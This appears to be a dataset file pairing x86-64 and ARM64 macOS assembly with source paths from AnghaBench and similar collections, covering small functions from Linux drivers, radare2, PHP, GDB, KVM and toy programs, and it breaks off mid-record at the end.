.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function lpfc_oas_vpt_store _lpfc_oas_vpt_store: ## @lpfc_oas_vpt_store .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, %r14 movq %rdx, %rbx movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -40(%rbp) callq _class_to_shost movq (%rax), %rax movq (%rax), %r12 movq _WWN_SZ@GOTPCREL(%rip), %rax movl (%rax), %eax shlq $2, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r15 cmpl $0, 32(%r12) je LBB0_1 ## %bb.2: leal -1(%r14), %eax xorl %ecx, %ecx cmpb $10, (%rbx,%rax) sete %cl movl %r14d, %esi subl %ecx, %esi movq %rbx, %rdi movq %r15, %rdx callq _lpfc_wwn_set testl %eax, %eax jne LBB0_9 ## %bb.3: movl 28(%r12), %edi movq %r15, %rsi movl $32, %edx callq _memcpy movl 20(%r12), %edi movq %r15, %rsi movl $32, %edx callq _memcpy movq %r15, %rdi callq _wwn_to_u64 movq _OAS_FIND_ANY_VPORT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx testq %rax, %rax je LBB0_4 ## %bb.5: notl %ecx andl 24(%r12), %ecx jmp LBB0_6 LBB0_1: movq _EPERM@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax jmp LBB0_9 LBB0_4: orl 24(%r12), %ecx LBB0_6: movq _OAS_LUN_VALID@GOTPCREL(%rip), %rax movl (%rax), %eax notl %eax andl %ecx, %eax movl %eax, 24(%r12) cmpq $0, (%r12) jne LBB0_8 ## %bb.7: movq 8(%r12), %rax movq %rax, (%r12) LBB0_8: movq _FIND_FIRST_OAS_LUN@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, 16(%r12) movl %r14d, %eax LBB0_9: movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -40(%rbp), %rcx jne LBB0_11 ## %bb.10: leaq -32(%rbp), %rsp popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_11: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _WWN_SZ,4,2 ## @WWN_SZ .comm _EPERM,4,2 ## @EPERM .comm _OAS_FIND_ANY_VPORT,4,2 ## @OAS_FIND_ANY_VPORT .comm _OAS_LUN_VALID,4,2 ## @OAS_LUN_VALID .comm _FIND_FIRST_OAS_LUN,4,2 ## @FIND_FIRST_OAS_LUN .no_dead_strip _lpfc_oas_vpt_store .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function lpfc_oas_vpt_store _lpfc_oas_vpt_store: ; @lpfc_oas_vpt_store .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 sub sp, sp, #16 mov x19, x3 mov x21, x2 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-40] bl _class_to_shost ldr x8, [x0] ldr x22, [x8] Lloh3: adrp x8, _WWN_SZ@GOTPAGE Lloh4: ldr x8, [x8, _WWN_SZ@GOTPAGEOFF] Lloh5: ldr w8, [x8] lsl x8, x8, #2 mov x9, x8 Lloh6: adrp x16, ___chkstk_darwin@GOTPAGE Lloh7: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp add x8, x8, #15 and x8, x8, #0x7fffffff0 sub x20, x9, x8 mov sp, x20 ldr w8, [x22, #32] cbz w8, LBB0_4 ; %bb.1: sub w8, w19, #1 ldrb w8, [x21, w8, uxtw] cmp w8, #10 cset w8, eq sub w1, w19, w8 mov x0, x21 mov x2, x20 bl _lpfc_wwn_set cbnz w0, LBB0_9 ; %bb.2: ldr w0, [x22, #28] mov x1, x20 mov w2, #32 bl _memcpy ldr w0, [x22, #20] mov x1, x20 mov w2, #32 bl _memcpy mov x0, x20 bl _wwn_to_u64 Lloh8: adrp x8, _OAS_FIND_ANY_VPORT@GOTPAGE Lloh9: ldr x8, [x8, _OAS_FIND_ANY_VPORT@GOTPAGEOFF] Lloh10: ldr w8, [x8] cbz x0, LBB0_5 ; %bb.3: ldr w9, [x22, #24] bic w8, w9, w8 b LBB0_6 LBB0_4: Lloh11: adrp x8, _EPERM@GOTPAGE Lloh12: ldr x8, [x8, _EPERM@GOTPAGEOFF] Lloh13: ldr w8, [x8] neg w0, w8 b LBB0_9 LBB0_5: ldr w9, [x22, #24] orr w8, w9, w8 LBB0_6: Lloh14: adrp x9, _OAS_LUN_VALID@GOTPAGE Lloh15: ldr x9, [x9, _OAS_LUN_VALID@GOTPAGEOFF] Lloh16: ldr w9, [x9] bic w8, w8, w9 str w8, [x22, #24] ldr x8, [x22] cbnz x8, LBB0_8 ; %bb.7: ldr x8, [x22, #8] str x8, [x22] LBB0_8: Lloh17: adrp x8, _FIND_FIRST_OAS_LUN@GOTPAGE Lloh18: ldr x8, [x8, _FIND_FIRST_OAS_LUN@GOTPAGEOFF] Lloh19: ldr w8, [x8] str w8, [x22, #16] mov x0, x19 LBB0_9: ldur x8, [x29, #-40] Lloh20: adrp x9, ___stack_chk_guard@GOTPAGE Lloh21: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh22: ldr x9, [x9] cmp x9, x8 b.ne LBB0_11 ; %bb.10: sub sp, x29, #32 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret LBB0_11: bl ___stack_chk_fail .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22 .cfi_endproc ; -- End function .comm _WWN_SZ,4,2 ; @WWN_SZ .comm _EPERM,4,2 ; @EPERM .comm _OAS_FIND_ANY_VPORT,4,2 ; @OAS_FIND_ANY_VPORT .comm _OAS_LUN_VALID,4,2 ; @OAS_LUN_VALID .comm _FIND_FIRST_OAS_LUN,4,2 ; @FIND_FIRST_OAS_LUN .no_dead_strip _lpfc_oas_vpt_store .subsections_via_symbols
AnghaBench/linux/drivers/scsi/lpfc/extr_lpfc_attr.c_lpfc_oas_vpt_store.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function check_format_type _check_format_type: ## @check_format_type .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp ## kill: def $esi killed $esi def $rsi movb (%rdi), %cl movl $-1, %eax testb %cl, %cl je LBB0_36 ## %bb.1: addl $-128, %esi cmpl $4, %esi ja LBB0_37 ## %bb.2: movb $1, %r8b leaq LJTI0_0(%rip), %rdx movslq (%rdx,%rsi,4), %rsi addq %rdx, %rsi jmpq *%rsi LBB0_25: xorl %eax, %eax cmpb $45, %cl sete %al xorl %ecx, %ecx cmpb $46, (%rdi,%rax) sete %cl addq %rax, %rcx leaq (%rdi,%rcx), %rax decq %rax .p2align 4, 0x90 LBB0_26: ## =>This Inner Loop Header: Depth=1 movsbl 1(%rax), %ecx incq %rax leal -48(%rcx), %edx cmpl $10, %edx jb LBB0_26 ## %bb.27: xorl %edx, %edx cmpb $46, %cl sete %dl addq %rdx, %rax .p2align 4, 0x90 LBB0_28: ## =>This Inner Loop Header: Depth=1 movsbl (%rax), %ecx leal -48(%rcx), %edx incq %rax cmpl $10, %edx jb LBB0_28 ## %bb.29: addl $-69, %ecx cmpl $34, %ecx ja LBB0_21 ## %bb.30: xorl %eax, %eax movabsq $30064771079, %rdx ## imm = 0x700000007 btq %rcx, %rdx jae LBB0_21 LBB0_36: popq %rbp retq LBB0_31: xorl %eax, %eax cmpb $45, %cl sete %al addq %rax, %rdi .p2align 4, 0x90 LBB0_32: ## =>This Inner Loop Header: Depth=1 movsbl (%rdi), %ecx leal -48(%rcx), %eax incq %rdi cmpl $10, %eax jb LBB0_32 ## %bb.33: cmpb $46, %cl jne LBB0_35 .p2align 4, 0x90 LBB0_34: ## =>This Inner Loop Header: Depth=1 movsbl (%rdi), %ecx leal -48(%rcx), %eax incq %rdi cmpl $10, %eax jb LBB0_34 LBB0_35: xorl %eax, %eax cmpb $115, %cl setne %al negl %eax popq %rbp retq LBB0_3: xorl %r8d, %r8d LBB0_4: xorl %edx, %edx cmpb $45, %cl sete %dl xorl %esi, %esi cmpb $46, (%rdi,%rdx) sete %sil addq %rdx, %rsi leaq (%rdi,%rsi), %rcx addq %rdi, %rsi decq %rsi .p2align 4, 0x90 LBB0_5: ## =>This Inner Loop Header: Depth=1 movsbl 1(%rsi), %edx incq %rsi leal -48(%rdx), %edi incq %rcx cmpl $10, %edi jb LBB0_5 ## %bb.6: xorl %edi, %edi cmpb $46, %dl sete %dil addq %rdi, %rsi leaq (%rcx,%rdi), %rdx addq %rcx, %rdi addq $-2, %rdi .p2align 4, 0x90 LBB0_7: ## =>This Inner Loop Header: Depth=1 movsbl (%rsi), %ecx leal -48(%rcx), %r9d incq %rsi incq %rdx incq %rdi cmpl $10, %r9d jb LBB0_7 ## %bb.8: testb %r8b, %r8b je LBB0_10 ## %bb.9: movq %rdi, %rdx LBB0_13: movsbl %cl, %ecx addl $-88, %ecx cmpl $32, %ecx ja LBB0_21 ## %bb.14: xorl %eax, %eax movabsq $4831975425, %rsi ## imm = 0x120021801 btq %rcx, %rsi jb LBB0_36 ## %bb.15: cmpq $16, %rcx je LBB0_22 ## %bb.16: cmpq $20, %rcx jne LBB0_21 ## %bb.17: movsbl 1(%rdx), %ecx jmp LBB0_18 LBB0_10: cmpb $108, %cl jne LBB0_36 ## %bb.11: cmpb $108, (%rsi) jne LBB0_36 ## %bb.12: movb 1(%rsi), %cl jmp LBB0_13 LBB0_22: movsbl 1(%rdx), %ecx cmpl $100, %ecx je LBB0_36 ## %bb.23: cmpl $104, %ecx jne LBB0_21 ## %bb.24: movsbl 2(%rdx), %ecx LBB0_18: addl $-88, %ecx cmpl $32, %ecx ja LBB0_21 ## %bb.19: movabsq $4831973377, %rdx ## imm = 0x120021001 btq %rcx, %rdx jb LBB0_36 LBB0_21: movl $-1, %eax popq %rbp retq LBB0_37: xorl %eax, %eax callq _abort .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_31, LBB0_31-LJTI0_0 .set L0_0_set_3, LBB0_3-LJTI0_0 .set L0_0_set_4, LBB0_4-LJTI0_0 .set L0_0_set_25, LBB0_25-LJTI0_0 LJTI0_0: .long L0_0_set_31 .long L0_0_set_3 .long L0_0_set_4 .long L0_0_set_25 .long L0_0_set_25 .end_data_region ## -- End function .no_dead_strip _check_format_type .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function check_format_type _check_format_type: ; @check_format_type .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 ldrb w9, [x0] cbz w9, LBB0_35 ; %bb.1: sub w10, w1, #128 cmp w10, #4 b.hi LBB0_36 ; %bb.2: mov w8, #1 Lloh0: adrp x11, lJTI0_0@PAGE Lloh1: add x11, x11, lJTI0_0@PAGEOFF adr x12, LBB0_3 ldrb w13, [x11, x10] add x12, x12, x13, lsl #2 br x12 LBB0_3: cmp w9, #45 cinc x8, x0, eq ldrb w8, [x8] cmp w8, #46 cset w8, eq cmp w9, #45 cinc x8, x8, eq add x8, x8, x0 sub x8, x8, #1 LBB0_4: ; =>This Inner Loop Header: Depth=1 ldrsb w9, [x8, #1]! sub w10, w9, #48 cmp w10, #10 b.lo LBB0_4 ; %bb.5: and w9, w9, #0xff cmp w9, #46 cinc x8, x8, eq LBB0_6: ; =>This Inner Loop Header: Depth=1 ldrsb w9, [x8], #1 sub w10, w9, #48 cmp w10, #10 b.lo LBB0_6 ; %bb.7: sub w8, w9, #69 cmp w8, #34 mov w9, #1 lsl x8, x9, x8 and x8, x8, #0x700000007 ccmp x8, #0, #4, ls mov w8, #-1 csel w0, wzr, w8, ne ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret LBB0_8: cmp w9, #45 cinc x8, x0, eq LBB0_9: ; =>This Inner Loop Header: Depth=1 ldrsb w9, [x8], #1 sub w10, w9, #48 cmp w10, #10 b.lo LBB0_9 ; %bb.10: and w9, w9, #0xff cmp w9, #46 b.ne LBB0_14 ; %bb.11: mov x9, #0 LBB0_12: ; =>This Inner Loop Header: Depth=1 ldrsb w10, [x8, x9] sub w11, w10, #48 add x9, x9, #1 cmp w11, #10 b.lo LBB0_12 ; %bb.13: and w9, w10, #0xff LBB0_14: cmp w9, #115 csetm w0, ne ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret LBB0_15: mov w8, #0 LBB0_16: cmp w9, #45 cinc x9, x0, eq mov x10, x9 ldrb w11, [x10], #1 cmp w11, #46 csel x9, x9, x10, ne LBB0_17: ; =>This Inner Loop Header: Depth=1 ldrsb w10, [x9], #1 sub w11, w10, #48 cmp w11, #10 b.lo LBB0_17 ; %bb.18: and w10, w10, #0xff cmp w10, #46 cset w10, eq LBB0_19: ; =>This Inner Loop Header: Depth=1 add x11, x9, x10 ldursb w11, [x11, #-1] sub w12, w11, #48 add x10, x10, #1 cmp w12, #10 b.lo LBB0_19 ; %bb.20: and w11, w11, #0xff add x12, x9, x10 tbz w8, #0, LBB0_25 ; %bb.21: sub x8, x12, #2 LBB0_22: sxtb w9, w11 sub w9, w9, #88 cmp w9, #32 b.hi LBB0_35 ; %bb.23: mov w10, #1 lsl x10, x10, x9 mov x11, #6145 movk x11, #8194, lsl #16 movk x11, #1, lsl #32 tst x10, x11 b.eq LBB0_28 LBB0_24: mov w0, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret LBB0_25: cmp w11, #108 b.ne LBB0_35 ; %bb.26: ldurb w8, [x12, #-1] cmp w8, #108 b.ne LBB0_35 ; %bb.27: add x8, x9, x10 ldrb w11, [x8] b LBB0_22 LBB0_28: cmp x9, #16 b.eq LBB0_31 ; %bb.29: cmp x9, #20 b.ne LBB0_35 ; %bb.30: ldrsb w8, [x8, #1] b LBB0_34 LBB0_31: ldrsb w9, [x8, #1] cmp w9, #100 b.eq LBB0_24 ; %bb.32: cmp w9, #104 b.ne LBB0_35 ; %bb.33: ldrsb w8, [x8, #2] LBB0_34: sub w8, w8, #88 cmp w8, #32 mov w9, #1 lsl x8, x9, x8 mov x9, #4097 movk x9, #8194, lsl #16 movk x9, #1, lsl #32 and x8, x8, x9 ccmp x8, #0, #4, ls b.ne LBB0_24 LBB0_35: mov w0, #-1 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret LBB0_36: bl _abort .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_8-LBB0_3)>>2 .byte (LBB0_15-LBB0_3)>>2 .byte (LBB0_16-LBB0_3)>>2 .byte (LBB0_3-LBB0_3)>>2 .byte (LBB0_3-LBB0_3)>>2 ; -- End function .no_dead_strip _check_format_type .subsections_via_symbols
AnghaBench/radare2/libr/magic/extr_apprentice.c_check_format_type.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _keyboard_post_init_user ## -- Begin function keyboard_post_init_user .p2align 4, 0x90 _keyboard_post_init_user: ## @keyboard_post_init_user .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _keyboard_post_init_user ; -- Begin function keyboard_post_init_user .p2align 2 _keyboard_post_init_user: ; @keyboard_post_init_user .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/qmk_firmware/keyboards/business_card/beta/keymaps/default/extr_keymap.c_keyboard_post_init_user.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function gc_globals_ctor_ex _gc_globals_ctor_ex: ## @gc_globals_ctor_ex .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp xorps %xmm0, %xmm0 movups %xmm0, 128(%rdi) movl $1, (%rdi) movups %xmm0, 112(%rdi) movq _GC_INVALID@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, 104(%rdi) movq %rax, 96(%rdi) movq %rax, 88(%rdi) movq %rax, 80(%rdi) movups %xmm0, 56(%rdi) movq $0, 72(%rdi) popq %rbp retq .cfi_endproc ## -- End function .comm _GC_INVALID,8,3 ## @GC_INVALID .no_dead_strip _gc_globals_ctor_ex .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function gc_globals_ctor_ex _gc_globals_ctor_ex: ; @gc_globals_ctor_ex .cfi_startproc ; %bb.0: stp xzr, xzr, [x0, #128] mov w8, #1 str w8, [x0] str xzr, [x0, #120] Lloh0: adrp x8, _GC_INVALID@GOTPAGE Lloh1: ldr x8, [x8, _GC_INVALID@GOTPAGEOFF] Lloh2: ldr x8, [x8] stp x8, xzr, [x0, #104] stp x8, x8, [x0, #88] stp xzr, x8, [x0, #72] stp xzr, xzr, [x0, #56] ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _GC_INVALID,8,3 ; @GC_INVALID .no_dead_strip _gc_globals_ctor_ex .subsections_via_symbols
AnghaBench/php-src/Zend/extr_zend_gc.c_gc_globals_ctor_ex.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_.str(%rip), %rdi xorl %eax, %eax callq _printf leaq L_str(%rip), %rdi callq _puts leaq L_str.3(%rip), %rdi callq _puts xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Parkinson's Law:\nWork expands so as to " L_str: ## @str .asciz "fill the time" L_str.3: ## @str.3 .asciz "available for its completion." .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _printf Lloh2: adrp x0, l_str@PAGE Lloh3: add x0, x0, l_str@PAGEOFF bl _puts Lloh4: adrp x0, l_str.3@PAGE Lloh5: add x0, x0, l_str.3@PAGEOFF bl _puts mov w0, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh4, Lloh5 .loh AdrpAdd Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Parkinson's Law:\nWork expands so as to " l_str: ; @str .asciz "fill the time" l_str.3: ; @str.3 .asciz "available for its completion." .subsections_via_symbols
the_stack_data/104827891.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function mips_create_inferior _mips_create_inferior: ## @mips_create_inferior .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %rbx testq %rsi, %rsi je LBB0_3 ## %bb.1: cmpb $0, (%rsi) je LBB0_3 ## %bb.2: leaq L_.str(%rip), %rdi callq _warning leaq L_.str.1(%rip), %rdi xorl %esi, %esi callq _execute_command LBB0_3: movq _exec_bfd@GOTPCREL(%rip), %r14 testq %rbx, %rbx je LBB0_5 ## %bb.4: movq (%r14), %rdi testq %rdi, %rdi jne LBB0_6 LBB0_5: leaq L_.str.2(%rip), %rdi callq _error movq (%r14), %rdi LBB0_6: callq _bfd_get_start_address movq %rax, %rbx xorl %eax, %eax callq _init_wait_for_inferior movq _TARGET_SIGNAL_DEFAULT@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi xorl %edx, %edx popq %rbx popq %r14 popq %rbp jmp _proceed ## TAILCALL .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Can't pass arguments to remote MIPS board; arguments ignored." L_.str.1: ## @.str.1 .asciz "set args" .comm _exec_bfd,8,3 ## @exec_bfd L_.str.2: ## @.str.2 .asciz "No executable file specified" .comm _TARGET_SIGNAL_DEFAULT,4,2 ## @TARGET_SIGNAL_DEFAULT .no_dead_strip _mips_create_inferior .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function mips_create_inferior _mips_create_inferior: ; @mips_create_inferior .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 cbz x1, LBB0_3 ; %bb.1: ldrb w8, [x1] cbz w8, LBB0_3 ; %bb.2: Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _warning Lloh2: adrp x0, l_.str.1@PAGE Lloh3: add x0, x0, l_.str.1@PAGEOFF mov w1, #0 bl _execute_command LBB0_3: Lloh4: adrp x20, _exec_bfd@GOTPAGE Lloh5: ldr x20, [x20, _exec_bfd@GOTPAGEOFF] cbz x19, LBB0_5 ; %bb.4: ldr x0, [x20] cbnz x0, LBB0_6 LBB0_5: Lloh6: adrp x0, l_.str.2@PAGE Lloh7: add x0, x0, l_.str.2@PAGEOFF bl _error ldr x0, [x20] LBB0_6: bl _bfd_get_start_address mov x19, x0 bl _init_wait_for_inferior Lloh8: adrp x8, _TARGET_SIGNAL_DEFAULT@GOTPAGE Lloh9: ldr x8, [x8, _TARGET_SIGNAL_DEFAULT@GOTPAGEOFF] Lloh10: ldr w1, [x8] mov x0, x19 mov w2, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _proceed .loh AdrpAdd Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpAdd Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Can't pass arguments to remote MIPS board; arguments ignored." l_.str.1: ; @.str.1 .asciz "set args" .comm _exec_bfd,8,3 ; @exec_bfd l_.str.2: ; @.str.2 .asciz "No executable file specified" .comm _TARGET_SIGNAL_DEFAULT,4,2 ; @TARGET_SIGNAL_DEFAULT .no_dead_strip _mips_create_inferior .subsections_via_symbols
AnghaBench/freebsd/contrib/gdb/gdb/extr_remote-mips.c_mips_create_inferior.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gfn_to_hva ## -- Begin function gfn_to_hva .p2align 4, 0x90 _gfn_to_hva: ## @gfn_to_hva .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %rbx callq _unalias_gfn_instantiation movl %eax, %r14d movq %rbx, %rdi movl %eax, %esi callq _gfn_to_memslot_unaliased movq %rax, %rdi movl %r14d, %esi popq %rbx popq %r14 popq %rbp jmp ___gfn_to_hva ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gfn_to_hva ; -- Begin function gfn_to_hva .p2align 2 _gfn_to_hva: ; @gfn_to_hva .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 bl _unalias_gfn_instantiation mov x20, x0 mov x0, x19 mov x1, x20 bl _gfn_to_memslot_unaliased mov x1, x20 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b ___gfn_to_hva .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/fastsocket/kernel/virt/kvm/extr_kvm_main.c_gfn_to_hva.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) leaq L_.str(%rip), %rdi leaq -52(%rbp), %rsi xorl %eax, %eax callq _scanf movq %rsp, %r14 movl -52(%rbp), %eax shlq $2, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r12 movl -52(%rbp), %eax testl %eax, %eax jle LBB0_11 ## %bb.1: leaq L_.str(%rip), %r15 xorl %ebx, %ebx .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movl %ebx, %r13d leaq (%r12,%r13,4), %rsi movq %r15, %rdi xorl %eax, %eax callq _scanf movl (%r12,%r13,4), %eax andl $1, %eax addl %eax, %ebx movl -52(%rbp), %eax cmpl %eax, %ebx jl LBB0_2 ## %bb.3: cmpl $2, %eax jl LBB0_4 ## %bb.5: movl $-1, %r13d leaq L_.str.1(%rip), %r15 xorl %ebx, %ebx .p2align 4, 0x90 LBB0_6: ## =>This Inner Loop Header: Depth=1 movl (%r12,%rbx,4), %esi addl %r13d, %eax cltq subl (%r12,%rax,4), %esi movq %r15, %rdi xorl %eax, %eax callq _printf incq %rbx movl -52(%rbp), %eax movl %eax, %ecx shrl $31, %ecx addl %eax, %ecx sarl %ecx movslq %ecx, %rdx decl %r13d cmpq %rdx, %rbx jl LBB0_6 jmp LBB0_7 LBB0_11: movl %eax, %ecx negl %ecx shrl %ecx negl %ecx jmp LBB0_7 LBB0_4: movl %eax, %ecx shrl $31, %ecx addl %eax, %ecx sarl %ecx LBB0_7: andl $-2147483647, %eax ## imm = 0x80000001 cmpl $1, %eax jne LBB0_9 ## %bb.8: movslq %ecx, %rax movl 4(%r12,%rax,4), %esi leaq L_.str(%rip), %rdi xorl %eax, %eax callq _printf LBB0_9: movq %r14, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_10 ## %bb.12: xorl %eax, %eax leaq -40(%rbp), %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_10: callq ___stack_chk_fail .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## 